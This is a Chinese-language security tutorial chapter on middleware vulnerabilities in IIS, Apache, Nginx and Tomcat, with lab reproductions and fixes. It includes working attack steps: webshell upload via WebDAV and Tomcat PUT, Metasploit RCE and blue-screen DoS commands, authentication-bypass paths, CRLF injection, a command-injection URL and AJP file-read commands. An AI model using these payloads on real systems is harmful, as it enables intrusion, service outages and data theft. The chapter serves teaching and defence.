37 KiB
15.中间件安全
前面在文件上传的时候提到了几个中间件的解析漏洞,除了解析漏洞,常见的几个中间件还有其他的安全问题。 在web安全中,中间件安全也是非常重要的一部分,而中间件的安全问题主要来自两个方面:一个是中间件本身的开发缺陷导致的安全问题,另一个是开发或运维人员在使用时进行了错误的配置而导致的安全问题。
1. 基础知识
一次web访问的顺序
web浏览器 --> web服务器(狭义) --> web容器 --> 应用服务器 --> 数据库服务器
1.1 web服务器
广义:提供广义web服务的软件或主机 狭义:提供w3服务的软件或主机,即Web服务器软件或装有Web服务器软件的计算机。例如:IIS、Apache、nginx、Lighttpd。Web服务器可以处理 HTTP 协议,响应针对静态页面或图片的请求,进行页面跳转,或者把动态请求委托其它程序(它的扩展、某种语言的解释引擎、Web容器)。
1.2 web容器
容器:作为操作系统和应用程序之间的桥梁,给处于其中的应用程序组件提供一个环境,使应用程序直接跟容器中的环境变量交互,不必关注其它系统问题。例如:tomcat(拥有JSP容器,servlet容器),Jboss(拥有EJB容器)。 web容器:处理http的容器,例如tomcat(拥有JSP容器,servlet容器),IIS(拥有ASP容器)。
1.3 应用服务器
中间件:为一种或多种应用程序提供容器,同时为应用程序提供相关服务。 应用服务器:用于被其他应用服务器或web服务器调用的中间件。例如Tomcat,WebLogic,WebSphere,Jboss,IIS,Tomcat,WebLogic,WebSphere即是应用服务器,又拥有web服务器的功能。
2. IIS
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
IIS目前只适用于Windows系统,不适用于其他操作系统。
2.1 解析漏洞
2.1.1 6.0
基于文件名:该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。 基于文件夹名:该版本默认会将*.asp/目录下的所有文件当成Asp解析。 IIS6.0需要在虚拟机中安装windows server 2003系统,并且需要开启asp服务 windows server 2003虚拟机下载地址:链接:https://pan.baidu.com/s/141yS7FHQLj3Z_BGTXSFwWg?pwd=6666
基于文件名:该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。 IIS下的文件
访问效果
基于文件夹名:该版本默认会将*.asp/目录下的所有文件当成Asp解析。 IIS的目录
浏览器访问效果
IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为 .asa.cdx.cer 解析为asp,从下面可以看出,他们都是调用了asp.dll进行的解析。
访问效果
由于微软并不认为这是一个漏洞,也没有推出IIS 6.0的补丁,因此漏洞需要自己修复。 修复建议 限制上传目录执行权限,不允许执行脚本。
上传文件之后重命名处理:时间戳或者随机数,让攻击者无法获知脚本具体的名字
2.1.2 7.5
IIS7.x版本在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php变成test.jpg/.php,会将test.jpg解析为php文件。 本次测试环境是win7,开启如下几个服务
然后使用phpstudy2018切换到IIS的版本
关闭如下选项
将phpinfo.php改成png格式,正常访问是一张图
利用解析漏洞就可以成功解析此php文件
2.1.3 PUT任意文件写入
在IIS中开启WebDav的地方
可以看到开启WebDAV之后发送的option请求之后的结果其实不一样
开启webdav
如果想要在IIS中写入文件需要修改一个规则,这个也是正常的使用方法
尝试写入一个文件
可以看到这里是上传成功的;但是此时上传的文件名为1.txt,也就是说现在我们是不可以使用这个webshell直接进行连接的。 之前利用OPTIONS方法进行测试的时候我们发现存在一个MOVE的方法,他可以更改我们上传文件的后缀;我们构建一个请求包:
可以看到返回201,更改成功, 我们去靶机的根目录看一下
出现了1.asp这个webshell;IIS服务器的任意文件上传漏洞复现完成
2.2 IIS短文件漏洞
攻击者可以利用~字符猜解或遍历服务器中的文件名,或对IIS服务器中的 Net f ramework进行拒绝服务攻击! 就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件 该漏洞的利用价值 此漏洞可以得到网站每个目录下文件的前6位字符,其利用价值体现在: **1. **猜解网站的后台地址。 **2. **猜解敏感文件,例如网站备份的.rar、.zip、.bak、.sql文件等。 **3. **获取很多爬虫爬不到的未授权访问页面、获取WebService接口地址,从这些未授权访问页面中进而发现更多漏洞,如SQL注入漏洞、上传漏洞等。 方法总结如下
我们到IIS目录下 去看一下
IIS短文件名产生
- 当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位
- 当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种 IIS8.0之后的版本只能通过 OPTIONS和 TRACE方法被猜测成功 IIS8.0以下版本需要开启 ASP.NET支持,IIS大于等于8.0版本,即使没有安装 ASP.NET,通过OPTIONS和 TRACE方法也可以猜解成功
然后开启这个服务扩展
如果e开头的文件存在,就是404报错
就可以继续往下猜,文件是不是ea开头的
如果猜错了,是这样的界面
可以使用工具对IIS路径下的内容进行爆破
项目地址:https://github.com/irsdl/IIS-ShortName-Scanner/tree/master
也可以使用docker版本的: docker run --rm registry.cn-hangzhou.aliyuncs.com/eagleslab/security:shortname 2 20 http://192.168.173.141/
运行结果可以把文件名开头给读取出来
具体的危害可以看下面案例(由于是实际的站点,并没法提供复现的场景,作为了解和解题思路) 案例:医疗行业案例 这个案例来源于一次医疗行业的红队评估项目。如下图所示:通过IIS短文件名猜解,得到了如下两个短文件名(为了防止泄露项目信息,截图都来源于本地搭建的环境,原图就不贴出来了)
patien1.asp 由于是医疗系统,所以很容易联想到单词“病人”patient.asp
userad1.asp 很容易联想到添加用户的功能页面:useradd.asp
访问之后发现patient.asp、useradd.asp均不存在,因为iis短文件名猜解出来的后缀名只有前三位,于是将后缀.asp换成.aspx就显示文件存在了。于是两个未授权访问页面就出现了,对这两个页面的漏洞进行深度挖掘,追踪页面中的js链接地址。patient.aspx显示如下页面(图片是本地虚拟机环境),搜索框存在SQLServer注入漏洞,而且是sa权限,直接拿到了服务器权限。
而useradd.aspx存在未授权添加用户漏洞。都是常规操,就不做过多介绍了。
2.2.1 修复建议
从CMD命令关闭NTFS8.3文件格式的支持
Windows server2003:(1代表关闭,0代表开启
关闭该功能
fsutil behavior set disable8dot3 1
Windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
不同系统关闭命令稍有区别,该功能默认是开启的
从修改注册表关闭NTFS 8.3文件格式的支持 快捷键Win+R打开命令窗口,输入 regedit 打开注册表窗口
找到路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
将其中的 NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式 注意:
- 以上两种方式修改完成后,均需要重启系统生效。
- 此方法只能禁止NTFS 8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失
2.2.2 实战用处
- 猜后台。
- 猜敏感文件,例如备份的rar、zip、.bαk、.SQL文件等。
- 在某些情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件。
2.2.3 IIS短文件漏洞局限性
- 如果文件名本身太短也是无法猜解的
- 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解
- 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配
- 如果文件夹名前6位字符带点
.
,扫描程序会认为是文件而不是文件夹,最终出现误报 - 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测
2.3 RCE-CVE-2017-7269
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以If:<http://
开头的长标头执行任意代码 PROPFIND请求
windows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现一下这个漏洞
根据需求进行设置
在kali中安装一下CVE-2017-7269的exp 下载脚本:https://github.com/zcgonvh/cve-2017-7269/blob/master/cve-2017-7269.rb 然后我们把这个.rb文件放入MSF的渗透框架中(注意:在移动的时候重命名,把-改成_)
mv cve-2017-7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/cve_2017_7269.rb
使用这个模块
msf6 > use exploit/windows/iis/cve_2017_7269
msf6 exploit(windows/iis/cve_2017_7269) > set rhosts 192.168.173.141
msf6 exploit(windows/iis/cve_2017_7269) > run
成功拿到shell
2.4 HTTP.SYS远程代码执行(MS15-034)
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
2.4.1 影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和 Windows server 2012 R2
2.4.2 漏洞影响版本
IIS7.5、IIS8.0、IIS8.5
2.4.3 检测方法
在请求的时候在头部加入这个内容
Range: bytes=0-18446744073709551615
返回的内容是:HTTP Error 416. The requested range is not satisfiable.
则存在 HTTP.SYS远程代码执行漏洞
漏洞影响版本:IIS6.0,IIS7.5
也可以使用msfconsole进行检测(下面是存在漏洞的情况)
msf6 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set rhost 192.168.173.130
msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > run
[+] Target may be vulnerable...
[+] Stand by...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
使用dos模块进行攻击,可以把服务器攻击到蓝屏崩溃
msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhost 192.168.173.130
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run
[*] DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
2.4.4 修复建议
安装修复补丁(KB3042553)
2.5 认证绕过漏洞
Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
2.5.1 漏洞影响版本
IIS6.0、IIS7.5
2.5.2 漏洞原因
Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。 主要包括以下三类绕过
- 安装了PHP的Microsof IIS6.0身份验证绕过
IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“∷$INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露:
/admin::$INDEX_ALLOCATION/index.php
- Microsof IIS7.5经典ASP身份验证绕过
配置了经典ASP和 .NET f ramework 4.0的Microsof IIS7.5,通过将:i30:I NDEX_ALLOCATION后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制
/admin:$i30:$INDEX_ALLOCATION/index.asp
- Microsof IIS7.5 .NET源代码公开和身份验证绕过
在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞;
http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
.NAT版本需要是4以上,.net安装包下载:https://pan.baidu.com/s/1r1bD_a3b_uDrByrl8k1s9A?pwd=6666
触发此漏洞需要先关闭phpStudy_FastCGI中的请求限制
创建admin目录,然后在admin目录中放入一个index.php文件 添加身份验证
禁用admin访问的匿名
再次访问就是未授权的状态
然后我们进行绕过
http://192.168.173.130/admin:$i30:$INDEX_ALLOCATION/index.php
目标站点限制上传和访问php文件 可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行,这里使用到了解析漏洞
3. Apache
Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
3.1 未知扩展名解析漏洞
3.1.1 漏洞原理
Apache 默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识 别到合法后缀才进行解析。
3.1.2 复现
例如,我上传了一个名字叫 lcx.php.qqq
的文件,当此特性存在的时候,一看.qqq
不认识, 继续解析,.php
我认识,解析成php
文件了。访问也是同理,比如访问phpinfo.php.qqq
可成功显示 phpinfo
那么哪些后缀 Apache 不认识? 不在 mime.types 当中的都不认识 (Multipurpose Internet Mail Extensions)
到安装 Apache 的目录下找这个文件
- 使用 module 模式与 php 结合的所有版本 apache 存在未知扩展名解析漏洞。
- 使用 fastcgi 模式与 php 结合的所有版本 apache 不存在此漏洞。
- 利用此漏洞时必须保证扩展名中至少带有一个
.php
,不然将默认作为txt/html
文档处理。
3.1.2.1 usbwebserver 复现
3.1.2.2 kali 复现
systemctl start apache2.service
cd /etc/apache2/mods-enabled
vim php8.2.conf
把 $ 换成 . 然后重启 apache 即可解析成 php
正则表达式中,$ 用来匹配字符串结尾位置。如果设置了 RegExp 对象的 Multiline 属性的条件下,还会匹配到字符串结尾的换行符"\n"或"\r"。
vim /var/www/html/x.php.bak
<?php phpinfo(); ?>
访问 x.php.bak
3.1.3 修复建议
方案一 在 httpd.conf 或 httpd-vhosts.conf 中加入以下语句,从而禁止文件名格式为.php.的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
方案二 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”
$filename = str_replace('.', '_', $filename);
3.2 AddHandler 导致的解析漏洞
3.2.1 漏洞原理
(1)apache 在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后往前解析,直到遇到认识的扩展名为止 (2)如果都不认识将会暴露源码。 在 apache 配置不当的时候就会造成 apache 解析漏洞。
3.2.2 复现
USBwebserver
在 httpd.conf 把注释去掉,后缀是存在.php
.phtml
都会解析成 php 文件
3.2.3 修复建议
- 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为
.php.
的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
- 把配置不当的文件进行修改
3.3 目录遍历
3.3.1 原理
当客户端访问到一个目录时,Apache 服务器将会默认寻找一个 index list 中的文件,若文件不存在,则会列出当前目录下所有文件或返回 403 状态码,而列出目录下所有文件的行为称为目录遍历。
3.3.2 复现
usbwebserver 中
3.3.3 防御
删掉 Indexes
3.4 Apache HTTPD 换行解析漏洞(CVE-2017-15715)
3.4.1 漏洞描述
Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。 可以看到这里获取文件名是需要单独 post 一个 name 的,因为如果通过 $_FILES['file']['name'] 获取文件名的话,会把 \x0a 自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成这个漏洞
3.4.2 影响范围
apache :2.4.0~2.4.29 版本
3.4.3 漏洞复现
上传一个 test.php 文件,被拦截
在 test.php 后面插入一个 \x0A
,绕过拦截
访问刚刚上传的文件,成功解析
3.4.4 修复方案
- 升级到最新版本
- 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行
4. Nginx
Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中 表现较好。
4.1 文件解析漏洞
4.1.1 漏洞描述
该漏洞是由于 Nginx 中 php 配置不当而造成的,与 Nginx 版本无关,但在高版本的 php 中,由于 security.limit_extensions 的引入,使得该漏洞难以被成功利用。 在已经上传了恶意 1.jpg 文件后,访问 /1.jpg/xxx.php,(路径修复 cgi.fix_pathinfo=1 后)使得 Nginx 将其解析为 php 文件传给 php-cgi 程序(传给路径位于SERVER["SCRIPT_FILENAME"],修复去除路径位于 SERVER["PATH_INFO"]),但 cgi 程序将其解析为 1.jpg 并执行。
4.1.2 漏洞复现
使用 phpstudy nginx php 5.2.17
4.1.3 修复方案
- 将 php.ini 文件中的 cgi.fix_pathinfo 的值设置为 0,这样 php 再解析 1.php/1.jpg 这样的目录时,只要 1.jpg 不存在就会显示 404 页面
- php-fpm.conf 中的 security.limit_extensions 后面的值设置为 .php
4.2 整数溢出漏洞(CVE-2017-7529)
4.2.1 漏洞描述
在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。 该漏洞影响所有 0.5.6 - 1.13.2 版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进 行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实 IP 或其他敏感信息。 通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。
4.2.2 漏洞复现
访问 http://192.168.49.163:8080/,可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。
调用 python3 poc.py http://192.168.49.163:8080/
,读取返回结果:
可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。 如果读取有误,请调整poc.py中的偏移地址(605)。
4.2.3 修复方案
- 升级 Nginx 版本
- 隐藏服务器版本信息(因为在实际的生产环境当中,升级可能是一件困难的事情)
4.3 CRLF 注入漏洞
4.3.1 漏洞描述
Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF 注入漏洞。
4.3.2 漏洞复现
设置https跳转,这样就可以接收到url,进而进行处理。在 nginx.conf文件中添加下面一行话
location / {
return 302 https://$host$uri;
}
构造 URL,访问 http://192.168.49.161/%0ASet-cookie:JSPSESSID%3D3
4.3.3 修复方案
删除不当配置
4.4 文件名逻辑漏洞(CVE-2013-4547)
4.4.1 漏洞描述
这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,此漏洞可 致目录跨越及代码执行,其影响版本为:nginx 0.8.41 – 1.5.6
4.4.2 漏洞复现
创建一个 test.jpg 文件并上传,使用 burpsuite 改包,在文件末尾加上一个空格
上传成功,并返回了文件路径
请求访问改成 GET,访问该文件,在后面加上 .php
,注意此处有两个空格
查看十六进制,第二个 20 改成 00,点击 send 重放
4.4.3 修复方案
升级 Nginx
5. Tomcat
tomcat 是一个开源而且免费的 jsp 服务器,属于轻量级应用服务器。它可以实现 JavaWeb 程序的装载,是配置JSP(Java Server Page)和 JAVA 系统必备的一款环境。
5.1 Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
5.1.1 漏洞原理
漏洞本质是 Tomcat 配置了可写(readonly=false),导致我们可以往服务器写文件:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp),但我们使用一些文件系统的特性(如 Linux 下可用/)来绕过了限制。
5.1.2 漏洞复现
支持三种上传绕过方式 默认使用 put 加文件名是失败的,需要绕过
PUT /shell.jsp/
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
POC
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
访问文件
5.1.3 修复方案
设置 readonly 为 true
5.2 Tomcat 弱口令
5.2.1 漏洞背景
Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。 Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html 在 tomcat8 环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
5.2.2 漏洞复现
访问 http://192.168.49.163:8080/manager/html,使用弱口令 tomcat/tomcat 登录
可上传 war 文件,直接 getshell
war 包是使用 java 进行开发一个网站下所有代码(前端+后端),开发完毕后会将源码打包给测试人员测试,测试完毕会使用 war 包进行发布,war 包可以放在 tomcat 的 webapps下,tomcat 服务器启动后 war 包中的源代码会自动进行部署。也就是说,在上传后,网站会执行 war 包里面的代码,来进行部署。 可以直接解析木马
5.2.3 修复方案
- 设置强口令
conf/tomcat-users.xml
user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
- 删除 manger 文件
5.3 Tomcat 远程代码执行(CVE-2019-0232)
5.3.1 漏洞描述
Apache Tomcat 是美国阿帕奇(Apache)软件基金会的一款轻量级 Web 应用服务器。该程序实现了对 Servlet和JavaServer Page(JSP)的支持。 4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于 JRE 将命令行参数传递给Windows的方式存在错误,会导致 CGI Servlet 受到远程执行代码的攻击。 触发该漏洞需要同时满足以下条件:
- 系统为Windows
- 启用了CGI Servlet(默认为关闭)
- 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
5.3.2 影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
5.3.3 漏洞复现
搭建 tomcat 后修改 web.xml Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的 CGIServlet 部分,去掉注释, 并配置 enableCmdLineArguments 和 executable,如下:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
去掉此部分的注释
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
然后在 conf/context.xml 中添加 privileged="true" 语句
<Context privileged="true">
在 webapps/ROOT/WEB-INF 下创建一个 cgi-bin 文件夹,并在文件夹内创建一个 bat 文件写入
@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%
在 URL 后拼接系统命令并访问 http://10.3.3.40:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
可以调出计算器 calc.exe
5.3.4 漏洞修复
升级版本
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
5.4 Apache Tomcat 文件包含漏洞(CVE-2020-1938)
5.4.1 漏洞描述
Tomcat 是 Apache 开源组织开发的用于处理 HTTP 服务的项目,两者都是免费的,都可以做为独立的 Web 服务器运行。Apache Tomcat 服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
5.4.2 影响版本
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
5.4.3 漏洞复现
tomcat 默认的 conf/server.xml 中配置了 2 个 Connector,一个为 8080 的对外提供的 HTTP 协议端口,另外一个就是默认的 8009 AJP 协议端口,两个端口默认均监听在外网 ip。
-->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
tomcat 在接收 ajp 请求的时候调用 org.apache.coyote.ajp.AjpProcessor 来处理 ajp 消息, prepareRequest 将 ajp 里面的内容取出来设置成 request 对象的 Attribute 属性。可以通过此种特性从而可以控制 request 对象的下面三个 Attribute 属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
利用如下工具均可测试漏洞:
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
- https://github.com/xindongzhuaizhuai/CVE-2020-1938
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f WEB-INF/web.xml
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.49.163